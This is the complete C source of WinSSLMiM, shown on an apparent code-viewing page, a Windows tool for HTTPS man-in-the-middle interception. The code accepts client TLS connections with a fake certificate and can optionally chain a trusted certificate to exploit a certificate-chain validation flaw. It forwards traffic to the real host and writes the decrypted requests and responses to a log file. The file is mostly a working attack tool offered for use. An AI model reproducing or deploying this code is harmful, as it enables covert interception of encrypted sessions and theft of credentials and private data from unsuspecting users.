📄 sslmim.cpp
字号:
/*
* WinSSLMiM by Valgasu (valgasu@securiteinfo.com)
*
* a simple tool for HTTPS Man in the Middle
*
*/
#include <stdio.h>
#include <winsock2.h>
#include "openssl/ssl.h"
#include "openssl/err.h"
#include "getopt.h"
#include "sslmim.h"
/* Globals */
HANDLE sem;
SSL_CTX *ssl_client_ctx;
SSL_CTX *ssl_server_ctx;
SSL_CTX *ssl_vuln_ctx;
FILE *log;
SOCKET sesock;
char logfile[255];
char fakecertfile[255];
char trustcertfile[255];
int flag_ssl = 1;
int flag_log = 0;
int flag_cert = 0;
int flag_vuln = 0;
int main(int argc, char *argv[])
{
/* getopt */
extern char *optarg;
register int opt;
/* Get options */
while((opt = getopt(argc, argv, "hPl:f:t:")) != EOF) {
switch(opt) {
/* Help */
case 'h' :
usage(argv[0]);
return(EXIT_SUCCESS);
/* HTTP proxy mode */
case 'P' :
flag_ssl = 0;
break;
/* Log file */
case 'l' :
strcpy(logfile, optarg);
flag_log = 1;
break;
/* Cert file */
case 'f' :
strcpy(fakecertfile, optarg);
flag_cert = 1;
break;
/* Activate certificate chain vulnerability with trusted cert */
case 't' :
strcpy(trustcertfile, optarg);
flag_vuln = 1;
break;
}
}
/* Winsock init */
wsock_init();
/* Server socket init */
if(flag_ssl) {
socket_init(443);
ssl_init();
}
else {
socket_init(80);
}
/* Log init */
if(flag_log) {
log_init(logfile);
}
/* Print informations */
printf("\n>> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) <<\n\n");
/* Main loop */
printf("Waiting for connections...\n\n");
while(1) {
accept_conn();
}
return(EXIT_SUCCESS);
}
void wsock_init(void)
{
/* Winsock */
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(1, 1);
/* Startup Winsock.dll */
if(WSAStartup(wVersionRequested, &wsaData) != 0) {
printf("Error: unable to start winsock.\n");
exit(EXIT_FAILURE);
}
/* Check if Winsock.dll support 1.1 version */
if(LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1 ) {
printf("Error: Winsock.dll doesn't support 1.1 version.\n");
WSACleanup();
exit(EXIT_FAILURE);
}
}
void socket_init(int port)
{
/* Variables */
struct sockaddr_in sin;
unsigned long j = 1;
/* Create socket server */
sesock = socket(AF_INET, SOCK_STREAM, 0);
if(sesock == INVALID_SOCKET) {
printf("Error: server socket() error.\n");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(port);
/* Socket can be bound to an address that is already in use */
setsockopt(sesock, SOL_SOCKET, SO_REUSEADDR, (const char *) &j, sizeof(j));
if(bind(sesock, (struct sockaddr *)&sin, sizeof(sockaddr_in)) == SOCKET_ERROR) {
closesocket(sesock);
printf("Error: server bind() error.\n");
exit(EXIT_FAILURE);
}
/* Listen for an incoming connection */
if(listen(sesock, 5) == SOCKET_ERROR) {
closesocket(sesock);
printf("Error: server listen() error.\n");
exit(EXIT_FAILURE);
}
}
void accept_conn(void)
{
struct sockaddr_in sin;
int sinlen = sizeof(sin);
SOCKET clsock;
DWORD threadid;
/* Accept the new client connection */
clsock = accept(sesock, (struct sockaddr *)&sin, &sinlen);
if(clsock == INVALID_SOCKET) {
printf("Error: client socket() error.\n");
return;
}
/* Information */
printf("Connection from %s:%d\n", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
CreateThread(0, 0, mitm_proc, (void*)clsock, 0, &threadid);
}
DWORD WINAPI mitm_proc(void* sock)
{
SOCKET clsock = (SOCKET)sock;
SOCKET losock;
fd_set fds;
SSL *ssl_client;
SSL *ssl_server;
struct hostent *hp;
struct sockaddr_in sin;
char hbuff[BUFF_SIZE];
char inbuff[BUFF_SIZE];
char outbuff[BUFF_SIZE];
char *buff;
char *token;
char *vhost = NULL;
int sinlen = sizeof(sin);
int readlen;
int sendlen;
int sendbytes;
int inBytes=0;
int outBytes=0;
int len;
unsigned long j = 1;
/* SSL client init */
if(flag_ssl) {
ssl_client = SSL_new(ssl_client_ctx);
SSL_set_fd(ssl_client, clsock);
if(SSL_accept(ssl_client) == 0) {
printf("Error: SSL_accept().\n");
SSL_free(ssl_client);
closesocket(clsock);
return(EXIT_FAILURE);
}
}
/* Read data from client */
if(flag_ssl) {
len = SSL_read(ssl_client, hbuff, 1024);
}
else {
len = recv(clsock, hbuff, 1024, 0);
}
/* Connection error or closed */
if(len <= 0) {
if(flag_ssl) {
SSL_free(ssl_client);
}
closesocket(clsock);
return(EXIT_FAILURE);
}
/* Log data */
if(flag_log) {
log_write(hbuff);
}
/* Extract host field */
buff = strdup(hbuff);
token = strtok(hbuff,"\n");
while(token) {
if(!strncmp(token, "Host:", 5)) {
vhost = strchr(token, ':') + 2;
break;
}
token = strtok(NULL, "\n");
}
if(vhost != NULL) {
vhost[strlen(vhost) - 1] = '\0';
}
else {
printf("Error: no virtual host.\n");
if(flag_ssl) {
SSL_free(ssl_client);
}
closesocket(clsock);
return(EXIT_FAILURE);
}
/* Establish remote connection */
losock = socket(AF_INET, SOCK_STREAM, 0);
if(losock == INVALID_SOCKET) {
printf("Error: local socket() error.\n");
if(flag_ssl) {
SSL_free(ssl_client);
}
closesocket(clsock);
return(EXIT_FAILURE);
}
/* Resolve host name */
if( (hp = gethostbyname(vhost)) == NULL) {
printf("Error: gethostbyname() error.\n");
if(flag_ssl) {
SSL_free(ssl_client);
}
closesocket(clsock);
closesocket(losock);
return(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = *((unsigned long*)hp->h_addr_list[0]);
if(flag_ssl) {
sin.sin_port = htons(443);
}
else {
sin.sin_port = htons(80);
}
if(connect(losock, (struct sockaddr *)&sin, sizeof(sockaddr_in)) == SOCKET_ERROR) {
printf("Error: local connect() error.\n");
if(flag_ssl) {
SSL_free(ssl_client);
}
closesocket(clsock);
closesocket(losock);
return(EXIT_FAILURE);
}
/* SSL server init */
if(flag_ssl) {
ssl_server_ctx = SSL_CTX_new(SSLv23_client_method());
ssl_server = SSL_new(ssl_server_ctx);
SSL_set_connect_state(ssl_server);
SSL_set_fd(ssl_server, losock);
/* SSL connect */
if(SSL_connect(ssl_server) < 0) {
printf("Error: SSL_connect().\n");
SSL_free(ssl_client);
SSL_free(ssl_server);
closesocket(clsock);
closesocket(losock);
return(EXIT_FAILURE);
}
}
/* Information */
printf("Connection to %s:%d\n\n", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
/* Send data to remote server */
if(flag_ssl) {
SSL_write(ssl_server, buff, len);
}
else {
send(losock, buff, len, 0);
}
/* Enable the non blocking mode of the sockets */
ioctlsocket(losock, FIONBIO, &j);
ioctlsocket(clsock, FIONBIO, &j);
/* Select loop */
while(1) {
FD_ZERO(&fds);
FD_SET(clsock, &fds);
FD_SET(losock, &fds);
/* Read on client socket */
if(FD_ISSET(clsock, &fds)) {
if(flag_ssl) {
readlen = SSL_read(ssl_client, inbuff, BUFF_SIZE);
}
else {
readlen = recv(clsock, inbuff, BUFF_SIZE, 0);
}
/* Data was received */
if(readlen > 0) {
if(flag_log) {
log_write(inbuff);
}
sendlen = 0;
/* Forward data */
while(sendlen < readlen) {
if(flag_ssl) {
sendbytes = SSL_write(ssl_server, inbuff + sendlen, readlen - sendlen);
}
else {
sendbytes = send(losock, inbuff + sendlen, readlen - sendlen, 0);
}
if(sendbytes > 0) {
sendlen += sendbytes;
}
else if(sendbytes == SOCKET_ERROR) {
printf("Error: send() error.\n");
break;
}
else {
/* Remote client closed connection */
break;
}
}
}
/* Connection was closed */
if(readlen == 0){
break;
}
}
/* Read on local socket */
if(FD_ISSET(losock, &fds)) {
if(flag_ssl) {
readlen = SSL_read(ssl_server, outbuff, BUFF_SIZE);
}
else {
readlen = recv(losock, outbuff, BUFF_SIZE, 0);
}
/* Data was received */
if(readlen > 0) {
if(flag_log) {
log_write(outbuff);
}
sendlen = 0;
/* Forward data */
while(sendlen < readlen) {
if(flag_ssl) {
sendbytes = SSL_write(ssl_client, outbuff + sendlen, readlen - sendlen);
}
else {
sendbytes = send(clsock, outbuff + sendlen, readlen - sendlen, 0);
}
if(sendbytes > 0) {
sendlen += sendbytes;
}
else if(sendbytes == SOCKET_ERROR) {
printf("Error: send() error.\n");
break;
}
else {
/* Remote client closed connection */
break;
}
}
}
/* Connection was closed */
if(readlen == 0){
break;
}
}
}
/* Closing operations */
closesocket(losock);
closesocket(clsock);
if(flag_ssl) {
SSL_free(ssl_server);
SSL_free(ssl_client);
}
return(EXIT_SUCCESS);
}
void ssl_init(void)
{
/* Variables */
X509 *trustcert;
SSL_library_init();
SSL_load_error_strings();
ssl_client_ctx = SSL_CTX_new(SSLv23_server_method());
if(!flag_cert) {
strcpy(fakecertfile, CERT_FILE);
}
if(SSL_CTX_use_certificate_file(ssl_client_ctx, fakecertfile,
SSL_FILETYPE_PEM) == 0) {
printf("Error: SSL_CTX_use_certificate_file().\n");
exit(EXIT_FAILURE);
}
if(SSL_CTX_use_PrivateKey_file(ssl_client_ctx, fakecertfile,
SSL_FILETYPE_PEM) == 0) {
printf("Error: SSL_CTX_use_PrivateKey_file().\n");
exit(EXIT_FAILURE);
}
if(SSL_CTX_check_private_key(ssl_client_ctx) == 0) {
printf("Error: SSL_CTX_check_private_key().\n");
exit(EXIT_FAILURE);
}
/* Certificate chain vulnerability stuff */
if(flag_vuln) {
ssl_vuln_ctx = SSL_CTX_new(SSLv23_server_method());
if(SSL_CTX_use_certificate_file(ssl_vuln_ctx, trustcertfile,
SSL_FILETYPE_PEM) == 0) {
printf("Error: SSL_CTX_use_certificate_file().\n");
exit(EXIT_FAILURE);
}
trustcert = SSL_get_certificate(SSL_new(ssl_vuln_ctx));
SSL_CTX_add_extra_chain_cert(ssl_client_ctx, trustcert);
}
}
void log_init(char *file)
{
if((sem = CreateSemaphore(NULL, 1, 1, NULL)) == NULL) {
printf( "Error: unable to create semaphore\n");
}
if((log = fopen(file, "a+" )) == NULL) {
printf( "Error: unable to open file %s\n", file);
}
}
void log_write(char *buff)
{
DWORD res;
res = WaitForSingleObject(sem, INFINITE);
if(log != NULL) {
fwrite(buff, sizeof(char), strlen(buff), log);
}
if(!ReleaseSemaphore(sem, 1, NULL)) {
printf( "Error: unable to release semaphore\n");
}
}
void log_close(void)
{
fclose(log);
}
void usage(char *name)
{
printf("\n>> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) <<\n");
printf("\nusage: %s [options]\n\n", name);
printf("options:\n");
printf(" -P HTTP proxy mode\n");
printf(" -l [file] log file\n");
printf(" -f [file] fake cert file [fake.crt]\n");
printf(" -t [file] trust cert file\n");
printf(" -h help\n");
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -